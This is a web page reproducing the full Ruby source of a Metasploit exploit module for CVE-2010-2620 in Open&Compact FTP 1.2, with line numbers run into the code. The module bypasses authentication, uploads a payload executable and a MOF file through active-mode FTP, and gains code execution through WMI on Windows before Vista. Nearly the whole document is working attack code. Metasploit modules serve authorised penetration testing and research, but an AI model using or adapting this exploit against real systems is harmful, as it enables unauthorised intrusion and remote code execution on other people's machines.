Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ftp/open_ftpd_wbem.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::TcpServer10include Msf::Exploit::EXE11include Msf::Exploit::WbemExec12include Msf::Exploit::FileDropper1314def initialize(info={})15super(update_info(info,16'Name' => "Open-FTPD 1.2 Arbitrary File Upload",17'Description' => %q{18This module exploits multiple vulnerabilities found in Open&Compact FTP19server. The software contains an authentication bypass vulnerability and a20arbitrary file upload vulnerability that allows a remote attacker to write21arbitrary files to the file system as long as there is at least one user22who has permission.2324Code execution can be achieved by first uploading the payload to the remote25machine as an exe file, and then upload another mof file, which enables26WMI (Management Instrumentation service) to execute the uploaded payload.27Please note that this module currently only works for Windows before Vista.28},29'License' => MSF_LICENSE,30'Author' =>31[32'Serge Gorbunov', # Initial discovery33'bcoles', # Metasploit34],35'References' =>36[37['OSVDB', '65687'],38['EDB', '13932'],39['CVE', '2010-2620']40],41'Payload' =>42{43'BadChars' => "\x00",44},45'Platform' => 'win',46'Stance' => Msf::Exploit::Stance::Aggressive,47'Targets' =>48[49# Tested on version 1.2 - Windows XP SP3 (EN)50['Open&Compact FTP 1.2 on Windows (Before Vista)', {}]51],52'Privileged' => true,53'DisclosureDate' => '2012-06-18',54'DefaultTarget' => 0))5556register_options([57OptString.new('PATH', [true, 'The local Windows path', "C:/WINDOWS/"]),58OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])59])60deregister_options('FTPUSER', 'FTPPASS') # Using authentication bypass6162end6364def check65connect66disconnect6768if banner =~ /\*\* Welcome on \*\*/69return Exploit::CheckCode::Detected70else71return Exploit::CheckCode::Unknown72end73end7475def on_client_connect(cli)76peer = "#{cli.peerhost}:#{cli.peerport}"7778case @stage79when :exe80print_status("Sending executable (#{@exe.length.to_s} bytes)")81cli.put(@exe)82@stage = :mof83when :mof84print_status("Sending MOF (#{@mof.length.to_s} bytes)")85cli.put(@mof)86end8788cli.close89end9091# Largely stolen from freefloatftp_wbem.rb92def upload(filename)93select(nil, nil, nil, 1)9495peer = "#{rhost}:#{rport}"96print_status("Trying to upload #{::File.basename(filename)}")97conn = connect(false, datastore['VERBOSE'])98if not conn99fail_with(Failure::Unreachable, "#{@peer} - Connection failed")100end101102# Switch to binary mode103print_status("Set binary mode")104send_cmd(['TYPE', 'I'], true, conn)105106# Prepare active mode: Get attacker's IP and source port107src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']108src_port = datastore['SRVPORT'].to_i109110# Prepare active mode: Convert the IP and port for active mode111src_ip = src_ip.gsub(/\./, ',')112src_port = "#{src_port/256},#{src_port.remainder(256)}"113114# Set to active mode115print_status("Set active mode \"#{src_ip},#{src_port}\"")116send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)117118# Tell the FTP server to download our file119send_cmd(['STOR', filename], false, conn)120121print_good("Upload successful")122disconnect(conn)123end124125# Largely stolen from freefloatftp_wbem.rb126def exploit127path = datastore['PATH']128exe_name = "#{path}/system32/#{rand_text_alpha(rand(10)+5)}.exe"129mof_name = "#{path}/system32/wbem/mof/#{rand_text_alpha(rand(10)+5)}.mof"130@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))131@exe = generate_payload_exe132@stage = :exe133134begin135t = framework.threads.spawn("reqs", false) {136begin137# Upload our malicious executable138u = upload(exe_name)139# Upload the mof file140upload(mof_name) if u141register_file_for_cleanup("#{::File.basename(exe_name)}")142register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")143rescue ::Exception => e144print_error "Upload Failed: #{e.message}"145cleanup146end147}148149super150ensure151t.kill152end153end154end155156157